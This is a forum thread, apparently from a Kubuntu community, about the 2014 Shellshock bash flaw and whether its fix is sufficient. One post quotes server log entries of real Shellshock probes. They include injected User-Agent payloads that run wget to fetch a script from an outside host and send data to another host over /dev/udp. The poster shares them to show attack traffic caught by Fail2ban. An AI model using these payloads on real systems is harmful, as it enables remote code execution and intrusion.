Moved from Announcements

[GreyGeek]

It's good that business is good for you!

[TWPonKubuntu]

I read this, about the fix for "shellshock":

http://lxer.com/module/newswire/ext_link.php?rid=206219

It may be that the latest fix is insufficient...

I did get the bash update last night, but this may not address the problem noted in this link.


@SteveRielly Can you confirm this?

[Feathers McGraw]

I've been keeping track of naughty "shellshock" probes using Fail2ban...

https://samhobbs.co.uk/2014/09/shell...using-fail2ban

I've been surprised by how many times I've been probed already

Here are just a few examples:

24.251.197.244 - - [25/Sep/2014:09:55:10 +0100] "GET / HTTP/1.1" 301 513 "-" "() { :; }; echo -e \"Content-Type: text/plain\\n\"; echo qQQQQQq"

109.95.210.196 - - [25/Sep/2014:17:52:45 +0100] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 301 565 "-" "() { :;}; /bin/bash -c \"/usr/bin/wget http://singlesaints.com/firefile/temp?h=samhobbs.co.uk -O /tmp/a.pl\""

166.78.61.142 - - [25/Sep/2014:17:54:03 +0100] "GET / HTTP/1.1" 301 513 "-" "() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444"

93.103.21.231 - - [26/Sep/2014:03:17:21 +0100] "GET / HTTP/1.1" 301 513 "-" "() { :;}; wget 'http://taxiairportpop.com/s.php?s=http://samhobbs.co.uk/'"

To be honest, I'm suprised at how quickly the script kiddies have moved on this one.